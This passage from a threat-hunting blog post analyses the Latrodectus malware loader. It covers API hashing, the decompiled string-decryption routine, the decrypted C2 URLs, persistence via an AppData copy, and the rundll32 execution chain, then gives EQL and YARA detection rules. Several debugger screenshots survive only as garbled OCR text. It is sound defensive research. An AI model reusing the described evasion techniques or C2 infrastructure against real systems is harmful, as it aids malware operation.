void* var_198 = &data_180010e30
int32_t var_188 = 0x8a749fa7
```

And below follows the same function, with the *crc32* hashes resolved statically using the *HashDB plugin*, developed by *cxiao*.

```
nt64_t api_hashing_routine_mix()
```

```
int32_t MessageBoxA = MessageBoxA
void* var_240 = &data_7fff0a390ed0
void* var_238 = &MessageBoxA
int32_t wsprintfW = wsprintfW
void* var_228 = &data_7fff0a390ed0
int32_t wsprintfA = wsprintfA
int64_t* var_208 = &wsprintfA
int32_t InternetOpenW = InternetOpenW
void* var_1f8 = &data_7fff0a390ed8
int64_t* var_1f0 = &InternetOpenW
int32_t InternetConnectA = InternetConnectA
int64_t* var_1d8 = &InternetConnectA
int32_t HttpOpenRequestA = HttpOpenRequestA
void* var_1c8 = &data_7fff0a390ed8
int64_t* var_1c0 = &HttpOpenRequestA
int32_t HttpSendRequestA = HttpSendRequestA
void* var_1b0 = &data_7fff0a390ed8
int64_t* var_1a8 = &HttpSendRequestA
int32_t InternetReadFile = InternetReadFile
void* var_198 = &data_7fff0a390ed8
int64_t* var_190 = &InternetReadFile
int32_t InternetCrackUrlA = InternetCrackUrlA
void* var 180 = &data 7fff0a390ed8
```

This way it is possible to rename the variable names and identify cross-references throughout the code. Without performing this activity, it becomes impossible to statically analyze this sample.

Decrypting Strings

Latrodectus also implements a custom string decryption algorithm, which decrypts strings at runtime, with the aim of further obfuscating your code.

Below, we can observe the algorithm in *Decompiler* and *Disassembler*.

<pre>O int64_t xor_en</pre>	crypt(struct EncryptionContext* encrypt_data, int64_t decrypted_output)	0 inte	4_t xor_e	ncrypt(struct	t EncryptionCon	text* encrypt_data, int64_t decry
			f11bfaf10			eax. [rcx+rax+0xa]
	int64 t xor_encrypt(struct EncryptionContext* encrypt_data, int64 t decrypted_output)		f11bfaf14			byte [rsp+0x21 {var_17_2}], al
			f11bfaf18		BOY	ecx_dword_[rsp+0x2c_(xorKey)]
7fff11bfae94	int32 t xorKey = encrypt data->xorKey		f11bfaf1c			increment by one
7fff11bfaea5	intic t encryptionKeyXorlength = xorKey w A encrypt data-sdatalength		f11bfaf21		BOY	dword [rep+8x2c [vorKey]] eav
7fff11bfaebe	intig_t encryptionneys/itength = someys/itentypt_data = saturength		f11bfaf25		80178	eav word [rsp+8x24 /encryption]
7fff11bfaede	while (zz discruptionInder) sc zz discruptionKeyXorlannth))		f11bfaf2a		80128	eev byte [rsp+8x20 {encryptedRy
766611060000	inter (active of priorizations) as an open of priorical grant of the second sec		11164-424	4005E40440	BOUL	rdy award [rep+0x20 (encryptedby
7fff11bfaaaa	concurrence whereas the second data[1] + TH algorization Today))	744	11010121	afb60400	BOURN	new bute [represed]
744411640061	encrypteugyte = -(aencrypt_uata(i) * 2x.((encrypt_untnue))		11010104	01000402	100	eax, byte [rux+rax]
7fffffbbfooff	char encryptedayteralue = encryptedayte.b		TIDTatas	00440808	Tea	eax, [rax+rcx+exa]
7TTTTTDTaerr	uintos, t encryptedayterointer		r i i brarac		movzx	ecx, word [rsp+0x24 {encryption]
7TTT11DTaeTT	encryptedBytePointer.D = *(&encrypt_data[1] + zx.q(encryptionindex))	711	riibrat41		mov	rdx, qword [rsp+8x48 (arg_10)]
			11bfaf46		mov	byte [rdx+rcx], al
	xorKey = increment_by_one(xorKey)		11bfaf49			eax, byte [rsp+0x20 {encryptedBy
7fff11bfaf46	<pre>*(decrypted_output + zx.q(encryptionIndex)) = *(decrypted_output + zx.q(encryptionIndex)) + encryptedByteValue + 0xa</pre>		f11bfaf4e			<pre>ecx, byte [rsp+0x2c {xorKey}]</pre>
	<pre>*(decrypted_output + zx.q(encryptionIndex)) = encryptedByteValue * xorKey.b</pre>					eax, ecx
7fff11bfaecd	encryptionIndex = encryptionIndex + 1		f11bfaf55			<pre>ecx, word [rsp+0x24 {encryption]</pre>
	return decrypted_output		f11bfaf5a			rdx, qword [rsp+0x48 {arg_10}]
			f11bfaf5f			byte [rdx+rcx], al
			f11bfaf62		jmp	0x7fff11bfaec5
						rax, qword [rsp+0x48 {arg_10}]
					add	rsp, 0x38
		7ff				{return_addr}

Below, we can observe the execution of this algorithm on x64dbg, where the string of one of the *Latrodectus* C2 addresses was decrypted.

🛞 rundll32.exe - PID: 7328 -	- Module: embedded_latro	dectus.dll - Thread: Main Threa	ad 5280 - x64dbg [Elevated]	
File View Debug Tracir	ng Plugins Favourites	Options Help Mar 8 2024 (Tit	tanEngine)	
📫 😏 🔳 🔶 II	i 🛧 🔉 🗰 🌡	🛧 📲 🛐 🥒	💻 🛷 🥓 fx # A2 🖳 📰 🔍	
_				
🕮 CPU 🍃 Log	📄 Notes 🔹 📍 Break	points 🛛 🛲 Memory Map	🗐 Call Stack 😪 SEH 👱 Script 🗎 S	Symbols
	007FFF11BFAF06 007FFF11BFAF10 007FFF11BFAF14 007FFF11BFAF18 007FFF11BFAF15 007FFF11BFAF21 007FFF11BFAF25 007FFF11BFAF25 007FFF11BFAF38 007FFF11BFAF38 007FFF11BFAF38 007FFF11BFAF46 007FFF11BFAF45 007FFF11BFAF55 007FFF11BFAF55 007FFF11BFAF55 007FFF11BFAF55 007FFF11BFAF55 007FFF11BFAF562 007FFF11BFAF67	0FB64424 20 0FB64C24 21 8D4401 0A 884424 21 8B4C24 2C E8 1FE1FFFF 894424 2C 0FB74424 24 0FB64C24 20 48:8B5424 48 0FB60402 8D4408 0A 0FB74C24 24 48:8B5424 48 88040A 0FB64424 20 0FB64424 20 0FB64424 20 0FB64424 2C 33C1 0FB74C24 24 48:8B5424 48 88040A E9 5EFFFFFF 48:8B4424 48	<pre>movzx eax,byte ptr ss:[rsp+20] movzx ecx,byte ptr ss:[rsp+21] lea eax,qword ptr ds:[rcx+rax+A] mov byte ptr ss:[rsp+21],al mov ecx,dword ptr ss:[rsp+2C] call embedded_latrodectus.7FFF11BF9 mov dword ptr ss:[rsp+20],eax movzx eax,word ptr ss:[rsp+24] movzx ecx,byte ptr ss:[rsp+24] movzx eax,byte ptr ds:[rdx+rax] lea eax,qword ptr ds:[rdx+rax] movzx ecx,word ptr ss:[rsp+48] movzx ecx,word ptr ss:[rsp+48] movzx ecx,word ptr ss:[rsp+48] movzx ecx,word ptr ss:[rsp+24] mov rdx,qword ptr ss:[rsp+24] mov z eax,byte ptr ss:[rsp+24] mov z eax,byte ptr ss:[rsp+26] movzx ecx,byte ptr ss:[rsp+27] movzx ecx,byte ptr ss:[rsp+28] mov z ecx,word ptr ss:[rsp+28] mov rdx,qword ptr ss:[rsp+24] mov rdx,qword ptr ss:[rsp+48] mov byte ptr ds:[rdx+rcx],al jmp embedded_latrodectus.7FFF11BFAE mov rax,qword ptr ss:[rsp+48]</pre>	040 :c5
RIP 000	07FFF11BFAF70	C3	ret	
	00/FFF11BFAF71 007FFF11BFAF73 007FFF11BFAF74 007FFF11BFAF74 007FFF11BFAF78 007FFF11BFAF84 007FFF11BFAF84 007FFF11BFAF88	CC CC 894C24 08 48:83EC 38 C74424 20 00000000 8B4424 40 894424 20	<pre>int3 int3 mov dword ptr ss:[rsp+8],ecx sub rsp,38 mov dword ptr ss:[rsp+20],0 mov eax,dword ptr ss:[rsp+40] mov dword ptr ss:[rsp+20],eax loo new dword ptr ss:[rsp+20],eax</pre>	
.text:00007FFF11BF	AF70 embedded_latr	odectus.dll:\$AF70 #A	3370	
🕮 Dump 1 🛛 🛄 Dum	p 2 🛄 Dump 3 🧵	🗓 Dump 4 🛛 🛄 Dump 5	🍪 Watch 1 🛛 🖛 Locals 🎾 Struct	
Address H	lex		ASCII	
0000001F9AF6F830 6 0000001F9AF6F840 7 0000001F9AF6F850 0	8 74 74 70 73 3A 2 2 69 6F 6E 2E 74 6 0 00 00 00 00 00 00 0	2F 2F 74 69 74 6E 6F 5F 70 2F 6C 69 76 65 00 00 00 00 00 00 00	76 61 63 https://titnovac 2F 00 00 rion.top/live/ 00 00 00	

To automate the extraction, I set *x64dbg* to record logs whenever my *breakpoint* was triggered, collecting the *ASCII* value in the **RDX** register (where the decrypted values are stored).

Below are all the strings that this algorithm decrypts during the execution of this *Latrodectus* sample. Some of these strings are called multiple times during the code, which increases the recurrence of the function that decrypts the strings.

```
Decrypt string: L"\\*.dll"
Decrypt string: L"runnung"
Decrypt string: "%04X%04X%04X%04X%08X%04X"
Decrypt string: "Littlehw"
Decrypt string: L".exe"
Decrypt string: "https://titnovacrion.top/live/"
Decrypt string: "https://skinnyjeanso.com/live/"
Decrypt string: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef
Decrypt string: L"Update_%x"
Decrypt string: L"Update_%x"
Decrypt string: L"AppData"
Decrypt string: L"Desktop"
Decrypt string: L"Startup"
Decrypt string: L"Personal"
Decrypt string: L"Local AppData"
Decrypt string: L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell
Folders"
Decrypt string: L"Custom_update"
Decrypt string: L"\\update_data.dat"
Decrypt string: L"rundll32.exe"
Decrypt string: L"\"%s\", %s %s"
Decrypt string: L"LogonTrigger"
Decrypt string: L"PTOS"
```

Mutex Created by Latrodectus

One of the strings decrypted during the execution of the decryption algorithm is the string that *Latrodectus* will use as a *Mutex*. Below we can see this action on *Disassembler*, when the encrypted string is decrypted and it's passes as a argument to **CreateMutexW** API.



With this *Mutex* created, *Latrodectus* can identify whether it has already infected the device on which it was run.

Local Enumeration

Latrodectus collects a series of local information, such as the device name (<u>GetComputerNameExA</u>), user name (<u>GetUserNameA</u>), information regarding the network adapter (<u>GetAdaptersInfo</u>). Below, we can see the collection of the current user's name, through the execution of the <u>GetUserNameA</u> API.

🕷 rundll32.exe - PID: 1020 - Module: advapi32.dll - Thread: Main Thread 4608 -	- x64dbg (Elevated)	– a ×
File View Debug Tracing Plugins Favourites Options Help Mar 8 2		
📫 🏷 🔳 🕂 🗷 📫 🎝 🦛 🌲 🗮 🗰	🥒 🚍 🛷 🥒 fix # Az 🖪 🗐 😏	
😇 CPU 🎝 Log 👔 Notes 🔹 Breakpoints 🚥 Memory M	tap 🗊 Call Stack 🗣 SEH 🔟 Script 🎴 Symbols 🗘 Source 🔎	References 🛸 Threads 🛃 Handles 👔 Trace
00007FFF23D74630 48:83EC 28	sub rsp,28 GetUserNameA	Show FPU
00007FFF21D74637 00007FFF21D7463F 00007FFF21D7463F FF15 38E80500 00007FFF21D7463F FF15 38E80500 00007FFF21D7463F 00007FFF21D7464E 00007FFF21D7464E 00007FFF21D7464E 00007FFF21D74651 CC 00007FFF21D74651 CC 00007FFF21D74651 CC 00007FFF21D74651 CC 00007FFF21D74651 CC	mov rdx,rcx mov ecx,10002 call qword ptr ds:[<dgetusernameexab] movx ecx,10002 total tot</dgetusernameexab] 	RAX 000000000000000000000000000000000000
.text:00007FFF23D7464C advap132.d11:\$4464C #43A4C		4: [9 00000000000000000000000000000000000
🕮 Dump 1 🕮 Dump 2 🕮 Dump 3 🕮 Dump 4 🕮 Dum	p 5 👹 Watch 1 📧 Locals 🤌 Struct	000000C48960E0C8[00000ZEEE10CE880E] return to embedded_latrod(000000C4896DF0D0 000000C4896DF100 "Administrator"
Address Hex 0000000C48960F100 41 64 60 69 65 69 73 74 72 61 74 6F 72 00	ASCII	000000C4896DF0C5 00000000000000000000000000000000000

Delete and Create Another Process of Yourself

During its execution, *Latrodectus* creates a new file in the

C:\Users\AppData\Roaming\Custom_update directory, called

Update_<random_numbers>.dll, and deletes the payload from the current path. Here we see some decrypted strings being used, such as **Custom_update**, **Update_%x** and **AppData**.

Loca	I Disk (C:) →	Users → Adm	inistrator > AppDa	ita → Roaming → Cu	stom_update		~ Ū
	Name	^		Date modified	Туре	Size	
*	🗟 Update_	4140f889.dll		29/04/2024 17:41	Application e	xtens	62 KB

After creating the file, *Latrodectus* creates a new **rundli32** process to execute the same **scub** function as the newly created DLL (*it is the same payload*) in the

C:\Users\\AppData\Roaming\Custom_update directory. Below, we can see the creation of the new process through the <u>CreateProcessW</u> API.

	- PID: 11	96 - Mod	ule: kerr	nel32.dll	- Threa	d: Main	Thread	d 688 -	x64dbg	j [Elevat	ed]						
File View De	bug T	racing P	lugins	Favourit	es Op	itions	Help	Mar 8 2	2024 (Ti	tanEngin							
🖷 😋 🖷	→	II 1	t a	- 🍅	÷	1	→ £	8	1	₽ <	b 🥠	fx	# A	.2 🛃	I 🥯		
CPU	🍃 Log	1	Notes		Breakpoi	nts	IIII M	1emory	Мар	.	Call Stack	a	🖹 SEH	🖸 Scrip	t 🎴	Symbols	\Diamond
RIP	O O	007FFF2 007FF2 007FF2 007FF2 007FF2 007FF2 007FF2 007FF2 007FF2 007FF2 007FF2 007FF2 007FF2 007FF2	L68C 29 L68C 29 L68C 29 L68C 29 L68C 2A L68C 2A L68C 2A L68C 28 L68C 28 L68C 28 L68C 2C L68C 2C L68C 2C L68C 2D L68C 2D L68C 2D L68C 2D	0 37 7 7 8 8 7 7 8 8 7 8 8 7 8 8 7 8 8 7 7 8 8 7 7 8 8 7 7 8 8 7 7 8 8 7 7 8 8 7 7 8 8 7 7 8 8 7 7 8 8 8 7 7 8 8 8 7 8 9 8 9	4C:88E 48:83 48:88 49:89 48:89 48:88 49:89 48:88 49:89 48:88 49:89 48:88 49:89 48:88 49:89 48:88 49:89 48:88 49:89 48:88 49:89 48:88 49:89 48:88 49:89 49:49 49:89 49:49 49:49 40:49 40:49 40:49 40:49 40:49 40:49 40:49 40 40 40 40 40 40 40 40 40 40 40 40 40	C 5 5 8 3424 A 43 F0 3424 A 43 E8 3424 9 43 E8 3424 9 43 20 3424 9 43 20 4 8800 4 28 4 8800 4 20 5 5 0 205	800000 000000 800000 00000 0000 0000	00 00 00 00	mov r: sub r: mov qu mov qu qu qu qu qu qu qu qu qu qu qu qu qu q	11,rsp sp,58 ax,qwo word p ax,qwo word p ax,qwo word p ax,dwo word p ax,dwo word p ax,dwo	rd ptr tr ds:[rd ptr rd ptr tr ds:[rd ptr tr ds:[rd ptr tr ss:[rd ptr tr ss:[ss:[1 r11-: ss:[1 r11-: ss:[1 r11-: ss:[1 rs:[1 rs:[1 rs:[1 rs:[1 rs:[1]	rsp+A8] 10],rax rsp+A0] 18],rax rsp+98] 20],rax rsp+90] 28],rax rsp+88] 28],eax rsp+80] 28],eax	eccw>1	Create	ProcessW	
		007FFF2	IGRC2F	3	48:830	4 58			add r	sn.58	per us.	1.001		C33#2]			≻ Ť
r11=246 L'Z' rsp=00000001	.0007F0	A8 C290 ke	nel32	a .d]]:\$	48:830	#1869) «Cre	eatePr	add r	SD. 58	pti us.						× `
r11=246 L'Z' rsp=00000001 .text:00007F	0007F0 FF216B	A8 C290 ke	rne132	. d11: \$	48:830 1C290	#1B69 Dump 4	0 <cre< td=""><td>eatePr Dun</td><td>rocess</td><td>5W></td><td>Vatch 1</td><td>[</td><td>Locals</td><td>2 S<u>tru</u></td><td>ct</td><td></td><td>× `</td></cre<>	eatePr Dun	rocess	5W>	Vatch 1	[Locals	2 S <u>tru</u>	ct		× `

I opened the two *DLLs* in **PEStudio** (the *DLL* that is previously analyzed and extracted, and the *DLL* dropped in *AppData*) and as we can see below, it is the same binary.

🗹 pestudio 9.58 - Malware Initial Assessment - www.winitor.com (read-only)	-	\times	gestudio 9.58 - Malware Initial Assessment - www.winitor.com (read-only)		\times
file settings about			file settings about		

And after the process runs, a new *rundll32* process is created.

💙 💷 winlogon.exe	548
dwm.exe	64
fontdrvhost.exe	4944
∨ 🕷 x64dbg.exe	7724
✓ ☐ rundll32.exe	1196
rundll32.exe	8476

After creating this new process, *Latrodectus* reexecutes the import table construction process through *API Hashing*, checks whether the *Mutex* already exists as well as the *Update_<random_number>.dll* file, and jumps directly to the communication routine.

C2 Routine

The communication routine with *C2* is simple, using *APIs* such as **InternetConnectA** and **InternetConnectA** and **InternetConnectA** and others as well, to set up and close the connection, but these two are the ones that give us the most important information.

Below we can see Latrodectus using the decrypted strings to set up its connection with the C2 **titnovacrion[.]top** with the *InternetConnectA* API.

Next, *Latrodectus* assembles your **HTTP** request and sends it with the *HttpSendRequestA* API. With this API, we can observe the *Base64* content sent (via the **POST** method) to *C2*.

If the connection cannot be established in the way *Latrodectus* expects, it will perform the same procedures with the second *C2* **skinnyjeanso[.]com**. Below, we can see the same sequence.



As you can see in the screenshots, the *base64* content remains the same for sending both *C2* addresses.

Threat Hunting Perspective

From this section onwards, we will focus on the process of detecting the behavior produced by this Latrodectus sample. Let's go.

How to Detect the Latrodectus Execution Flow, Through SIEM?

Going back to the beginning, it is important to know that everything will start either with a *JS* script or with an infected *PDF*. This *1st Stage* will download an *MSI* and run it. When executed, a process will be created for a temporary file within the

C:\Windows\Installer\MSI<random_numbers>.tmp directory, which will then drop and execute the *Latrodectus DLL Loader*.

Process Create: RuleName: -UtcTime: 2024-04-30 17:43:39.204 ProcessGuid: {425c570b-2dcb-6631-fb00-000000000000}} ProcessId: 6204 Image: C:\Windows\Installer\MSIB233.tmp FileVersion: 19.1.0.0 Description: File that launches another file Product: Advanced Installer Company: Caphyon LTD OriginalFileName: viewer.exe CommandLine: "C:\Windows\Installer\MSIB233.tmp" C:\Windows\System 32\rundll32.exe C:\Users\Administrator\AppData\Local\digistamp\mb ae-api-na.dll, homi CurrentDirectory: C:\Windows\system32\ User: FINBANK\Administrator LogonGuid: {425c570b-45a3-6604-1af0-0a0000000000} LogonId: 0xAF01A TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA256=1E0E63B446EECF6C9781C7D1CAE1F46A3BB31654A70612F71F 31538FB4F4729A, IMPHASH=FB2CF51012533171A22F7091894D5E90 ParentProcessGuid: {425c570b-2dc9-6631-f700-000000000000} ParentProcessId: 4892 ParentImage: C:\Windows\System32\msiexec.exe ParentCommandLine: C:\Windows\system32\msiexec.exe /V ParentUser: NT AUTHORITY\SYSTEM

When executed, a process for **rundli32** will be created, with the default (so far) being the function to be called identified as '**homi**' in the *DLL Loader*.

Process Create:
Rulename: -
Dictime: $2024-04-30$ 17:43:39.440 ProcessQuid: $\sqrt{256578}-2465-6621-fc88-888888888888888}$
ProcessId: (42503760-2000-0031-1000-000000000000)
Theges C:\Windows\System22\rundll22.eve
FileVersion: 10.0.17762.1607 (WinDuild 160101.0000)
Priceversion: 10.0.17/03.1097 (WinBuild.100101.0800)
Description: windows nost process (Rundiisz)
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: RUNDLL32.EXE
CommandLine: "C:\windows\System32\rund1132.exe" C:\Users\Administ
rator\AppData\Local\digistamp\mbae-api-na.dll, homi
CurrentDirectory: C:\Windows\System32\
User: FINBANK\Administrator
LogonGuid: {425c570b-45a3-6604-1af0-0a000000000}
LogonId: 0xAF01A
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9
683B5565549481,IMPHASH=F27A7FC3A53E74F45BE370131953896A
ParentProcessGuid: {425c570b-45a7-6604-9000-000000000000}
ParentProcessId: 6064
ParentImage: C:\Windows\explorer.exe
ParentCommandLine: C:\Windows\Explorer.EXE /NOUACCHECK
ParentUser: FINBANK\Administrator

The DLL Loader will inject the final *Latrodectus* DLL into memory and drop it into the *AppData* directory. When executing it, it will call one of the two functions that have the same functionality, *'homi'* and *'scub'*. Below is a sequence of the execution of both. This sequence of process creation can be detected by *Sysmon Event ID 1*.

Process Create: RuleName: -UtcTime: 2024-04-30 18:14:00.698 ProcessGuid: {425c570b-34e8-6631-bf00-000000000000} ProcessId: 712 Image: C:\Windows\System32\rundll32.exe FileVersion: 10.0.17763.1697 (WinBuild.160101.0800) Description: Windows host process (Rundll32) Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: RUNDLL32.EXE CommandLine: rundll32.exe "C:\Users\Administrator\AppData\Roaming \Custom_update\Update_4140f889.dll", homi CurrentDirectory: C:\Windows\System32\ User: FINBANK\Administrator LogonGuid: {425c570b-346c-6631-b81c-0e000000000}} LogonId: 0xE1CB8 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9 683B5565549481, IMPHASH=F27A7FC3A53E74F45BE370131953896A ParentProcessGuid: {425c570b-34e8-6631-be00-000000000000} ParentProcessId: 1548 ParentImage: C:\Windows\System32\rundll32.exe ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\Ad ministrator\AppData\Local\digistamp\mbae-api-na.dll, homi

Presses Creater
Flocess cleate.
Ruiename: -
Utclime: 2024-04-30 18:14:36.044
ProcessGuld: {425c5/0D-350c-6631-c100-0000000000000}
ProcessId: 3952
Image: C:\Windows\System32\rundll32.exe
FileVersion: 10.0.17763.1697 (WinBuild.160101.0800)
Description: Windows host process (Rundll32)
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: RUNDLL32.EXE
CommandLine: "C:\Windows\system32\rundll32.exe" C:\Users\Adminis
trator\Desktop\embedded_latrodectus.dll,scub
CurrentDirectory: C:\Windows\system32\
User: FINBANK\Administrator
LogonGuid: {425c570b-346c-6631-b81c-0e0000000000}
LogonId: 0xE1CB8
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA256=9F1F56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4FD9
68385565549481 TMPHASH=E27A7EC3A53E74E45BE370131953896A
ParentProcessGuid: {425c570h-346a-6631-0e00-000000000000
ParentProcessId: 4522
ParantImaga: C:)Windows)explarer exe
ParentCommondLines, C.) Windows (explorer, EXE /NOUNCONFOR
ParentCommandLine: C:\windows\Explorer.EXE /NOUACCHECK
Parentuser: FINBANK\Administrator

After these executions, there will be several attempts to connect to the *Latrodectus* C2 addresses through *rundll32* process. This can be detected by <u>Sysmon Event ID 22</u>.

Dns query:
RuleName: -
UtcTime: 2024-04-30 18:31:52.351
ProcessGuid: {425c570b-34e8-6631-bf00-000000000000}
ProcessId: 712
QueryName: titnovacrion.top
QueryStatus: 10054
QueryResults: -
Image: C:\Windows\System32\rundll32.exe
User: FINBANK\Administrator

```
Dns query:
RuleName: -
UtcTime: 2024-04-30 18:32:35.014
ProcessGuid: {425c570b-34e8-6631-bf00-0000000000000}
ProcessId: 712
QueryName: skinnyjeanso.com
QueryStatus: 9502
QueryResults: -
Image: C:\Windows\System32\rundll32.exe
User: FINBANK\Administrator
```

Detection Engineering

Now that we know the execution flow and how to detect the behavior produced by *Latrodectus*, through *Sysmon*, we will create detection rules for SIEM, with the aim of monitoring such behavior.

EQL Detection Rule

Below is an *EQL* rule that I produced with the aim of detecting the execution flow of the *Latrodectus* malicious **MSI**, until the execution of the malicious **DLL** that will call one of the '**scub**' or '**homi**' functions, followed by the loading of this DLL. This entire behavior is executing within a minute, so our detection rule monitors this sequence of events within *1 minute*.

```
sequence by host.name with maxspan=60s
[any where (event.code : "1" or event.code: "4688") and process.name : "MSI*.tmp"
and process.command_line : "*homi*"]
[any where (event.code : "1" or event.code: "4688") and process.name :
"rundll32.exe" and (process.command_line : "*homi*" or process.command_line :
"*scub*")]
[any where event.code : "7"]
```

Also create a separate rule that detects network connection attempts through **rundll32.exe**, which in itself deserves a monitoring rule. The rule is very simple, having only one of the *Event IDs 3* (effective network connection) or 22 (name resolution attempt, in case the **C2 is no longer responding, or the infected device does not have internet access**).

```
(event.code : "3" or event.code : "22") and process.name : "rundll32.exe"
```

EQL Detection Rule – Validation

In order to validate the execution flow, below is the validation of the functioning of the rules, detecting everything from the *Latrodectus* execution flow to multiple connection attempts with the *C2* addresses.

Summary Trend Counts					
Severity levels	Alerts by name		Top alerts by	host.name	
	Rule name	Count de	bost name (i)		

In more detail, we can look at the destination addresses of connection attempts by the *rundll32.exe* process.



Yara Detection Rules

In order to detect and monitor the evolution of the *Latrodectus* code, I created a *Yara* rule to detect binaries that have the same code pattern as the *Latrodectus* string decryption algorithm.

```
Below is the Yara rule.
```

```
rule latrodectus_dll {
 meta:
      author = "0x0d4y"
      description = "This rule detects the Latrodectus DLL Decrypt String Algorithm."
      date = "2024-05-01"
      score = 100
      reference = "https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-
icedid/"
      yarahub_reference_md5 = "277c879bba623c8829090015437e002b"
      yarahub_uuid = "9da6bcb5-382c-4c64-97c4-97d15db45cad"
      yarahub_license = "CC BY 4.0"
      yarahub_rule_matching_tlp = "TLP:WHITE"
      yarahub_rule_sharing_tlp = "TLP:WHITE"
      malpedia_family = "win.unidentified_111"
    strings:
    $str_decrypt = { 48 89 54 24 10 48 89 4c 24 08 48 83 ec ?? 33 c9 e8 ?? ?? ?? ??
48 8b 44 24 40 8b 00 89 44 24 2c 48 8b 44 24 40 0f b7 40 04 8b 4c 24 2c 33 c8 8b c1
66 89 44 24 28 48 8b 44 24 40 48 83 c0 06 48 89 44 24 40 33 c0 66 89 44 ?? ?? ?? ?? ??
of b7 44 ?? ?? 66 ff c0 66 89 44 ?? ?? of b7 44 ?? ?? of b7 4c 24 28 ?? ?? of ?? ??
?? ?? ?? 0f b7 44 ?? ?? 48 8b 4c 24 40 8a 04 01 88 44 24 20 0f b7 44 ?? ?? 48 8b 4c
24 40 8a 04 01 88 44 24 21 0f b6 44 24 20 0f b6 4c 24 21 8d 44 01 0a 88 44 24 21 8b
4c 24 2c ?? ?? ?? ?? ?? 89 44 24 2c 0f b7 44 ?? ?? 0f b6 4c 24 20 48 8b 54 24 48 0f
b6 04 02 8d 44 08 0a 0f b7 4c ?? ?? 48 8b 54 24 48 88 04 0a 0f b6 44 24 20 0f b6 4c
24 2c 33 c1 0f b7 4c ?? ?? 48 8b 54 24 48 88 04 0a ?? ?? ?? ?? ?? 48 8b 44 24 48 48
83 c4 38 }
    condition:
        uint16(0) == 0x5a4d and
        $str_decrypt
}
```

Yara Detection Rules – Validation

With the aim of validating the *Yara* rule developed, I submitted it to <u>Unpac.me</u> where was matched *12* samples classified as *Latrodectus* (<u>win_unidentified_111_auto is the description</u> <u>of the family by Malpedia</u>). We can observe the matches through the sequence of images below.

Hunt Results

Launched	Rule	Matches			Status
30/04/2024 14:14:13	latrodectus_dll	0 Submissions Unpe	12 book of the second s	Coodware	complete (26s)
T-11 T-10	T-9 T-8 T-7	T-6 T-5	T-4 T-3 T-2	T-1 T-0	Lookback Window (12/12 weeks)
latrodectus_dll Revision 0					© © 0 +
Rule Validation:	: Passed				+
Matches: 12 In 12 week lookback window	u	+	Scan Coverage: 100	%	+
Goodware: 0 In full lookback window					
Observed Lifespan First Seen Last Seen	10 Weeks 16/02/2024 29/04/2024				
EXE 12 x64 12 Packed 4	<50K <100 <250 <500 <1ME <5ME <10M <25M <50M	B 0 KB 12 KB 0 KB 0 B 0 B 0 B 0 B 0	win_unidentif win_bazarbac Packed: win_ Packed: win_	ied 111 auto 12 kdoor auto 3 unidentified 111 4 bazarbackdoor a 2	

	Matches	⊑ \$	First Seen 🖨	Last Seen 🗸	Туре	Size 🖨
\frown	• • • • • • • • • • • • • • • • • • •		00/04/0004	00/04/0004	~	71 1/0

Conclusion

Well, I hope you enjoyed and learned something interesting from this article. I hope I can complete my research regarding *Sodinokibi* now!! Until next time, if you have any questions or feedback, feel free to contact me.